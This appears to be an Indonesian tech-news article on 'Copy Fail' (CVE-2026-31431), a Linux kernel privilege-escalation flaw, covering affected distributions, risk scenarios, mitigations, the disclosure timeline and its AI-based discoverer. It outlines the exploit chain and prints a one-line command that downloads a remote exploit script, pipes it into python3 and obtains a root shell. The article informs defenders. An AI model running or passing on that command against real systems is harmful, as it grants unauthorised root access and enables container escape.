Indonesia

← Kembali ke daftar

Skrip 732 Byte Jebol Semua Linux: Celah Epik Mengendap Hampir Sepuluh Tahun

itadol5j

Celah Copy Fail

🚨 Celah epik: 732 byte menjebol semua Linux, mengendap hampir sepuluh tahun

Sebuah celah bernama"Copy Fail"pada kernel Linux (CVE-2026-31431) telah diungkap ke publik:

  • 732 byteskrip Python
  • 100% andal, tanpa jendela race condition atau offset kernel
  • Mempengaruhi semua distro Linux(2017 hingga sekarang)
  • Primitif container escape, serangan lintas tenant
  • Mengendap hampir sepuluh tahun, hingga diungkap publik pada 29 April 2026

Skrip yang sama berfungsi diUbuntu, RHEL, Amazon Linux, SUSEtanpa modifikasi apa pun.

🎯 Inti Kerentanan

Cacat Logika Tunggal

Copy Fail adalahcacat logika lurus (straightline):

  • Tanpa jendela race: tidak seperti sebagian besar LPE Linux yang membutuhkan race
  • Tanpa offset kernel: tidak memerlukan offset spesifik kernel
  • 100% andal: berhasil setiap saat
  • Skrip yang sama: berfungsi di semua distro

Rantai Kerentanan

Rantai serangan Copy Fail:

  • Bug logika authencesn: sebuah bug logika
  • AF_ALG: melalui crypto API kernel
  • splice(): pemanggilan berantai
  • Penulisan page-cache 4 byte: primitif serangan akhir
  • Dapat dieksploitasi hampir sepuluh tahun: dari 2017 hingga patch dirilis

📊 Cakupan Terdampak

Distro terverifikasi resmi

Distro Versi Kernel Status
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Terverifikasi
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Terverifikasi
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Terverifikasi
SUSE 16 6.12.0-160000.9-default ✅ Terverifikasi

Distro lain yang terdampak

Distro berikutjuga terdampak:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Linux embedded

Kesimpulan: jika kernel Anda dibangun antara 2017 dan patch—Anda terdampak.

💡 Skenario Berisiko Tinggi

Skenario Risiko Dampak
Host Linux multi-tenant Tinggi Pengguna mana pun menjadi root
Kubernetes / klaster container Tinggi Serangan antar-container, antar-tenant
CI Runner / Build Farm Tinggi PR menjadi root di runner
Cloud SaaS yang menjalankan kode pengguna Tinggi Tenant menjadi host root
Server Linux standar Sedang LPE internal, bisa dirantai
Laptop pengguna tunggal Rendah Langkah eskalasi pasca-eksploitasi

🔧 Mitigasi

Opsi 1: Perbarui kernel (direkomendasikan)

Perbarui kernel ke versi yang memuatmainline commit a664bf3d603d:

  • Isi perbaikan: membatalkan optimasi in-place algif_aead tahun 2017
  • Efek: halaman page-cache tidak lagi muncul di destination scatterlist yang dapat ditulis
  • Status: sebagian besar distro utama telah merilis patch

Opsi 2: Nonaktifkan modul algif_aead (sementara)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Dampak menonaktifkan algif_aead

Komponen Dampak
dm-crypt / LUKS Tidak terdampak
kTLS / IPsec Tidak terdampak
OpenSSL / SSH Tidak terdampak
Userspace AF_ALG Mungkin terdampak

Kesimpulan: untuk sebagian besar sistem, menonaktifkan algif_aeadtidak berdampak berarti.

Opsi 3: Blokir AF_ALG dengan seccomp

Untuk workload yang tidak tepercaya (container, sandbox, CI), blokir pembuatan socket AF_ALG melalui seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Demo PoC

PoC kerentanan telah dipublikasikan agar defenders dapat memverifikasi sistemnya:

Jalankan cepat

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Detail PoC

  • Ukuran file: 732 byte
  • Bahasa: Python 3.10+ stdlib only (os, socket, zlib)
  • Target default: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Peringatan: skrip memodifikasi page cache binary setuid; perubahan tidak bertahan setelah reboot, tetapi root shell-nya nyata. Jangan jalankan di lingkungan produksi.

📅 Linimasa Pengungkapan

Tanggal Peristiwa
2026-03-23 Dilaporkan ke tim keamanan kernel Linux
2026-03-24 Konfirmasi awal
2026-03-25 Usulan dan tinjauan patch
2026-04-01 Patch masuk ke mainline
2026-04-22 CVE-2026-31431 ditetapkan
2026-04-29 Pengungkapan publik

🔍 Penemu: Xint Code

Kerentanan ditemukan olehXint Code:

  • Waktu pemindaian: sekitar 1 jam memindai Linux crypto/ subsystem
  • Metode penemuan: audit kode berbasis AI
  • Analisis lengkap: root cause, diagrams, operator prompt
  • Temuan lain: sekaligus menemukan kerentanan berkeparahan tinggi lainnya, masih dalam koordinasi pengungkapan

Rekam jejak Xint Code

  • 0-day RCE: ZeroDay Cloud, menyapu kategori database (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: finalis DARPA AI Cyber Challenge
  • DEF CON CTF 9×: tim paling banyak menang dalam sejarah DEF CON CTF

📝 Kesimpulan

Copy Fail (CVE-2026-31431) adalahcelah kernel Linux kelas epik:

  • 732 byte menjebol semua Linux (2017 hingga sekarang)
  • 100% andal, cacat logika tunggal
  • Container escape, serangan lintas tenant
  • Mengendap hampir sepuluh tahun, diungkap publik pada 29 April 2026
  • Skenario berisiko tinggi: host multi-tenant, klaster container, CI Runner, SaaS
  • Mitigasi: perbarui kernel atau nonaktifkan algif_aead
  • Penemu: Xint Code, audit kode berbasis AI

Celah epik hampir sepuluh tahun, satu skrip menjebol semua Linux.

Situs resmi kerentanan:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Analisis teknis:https://xint.io/blog/copy-fail-linux-distributions

Patch Kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5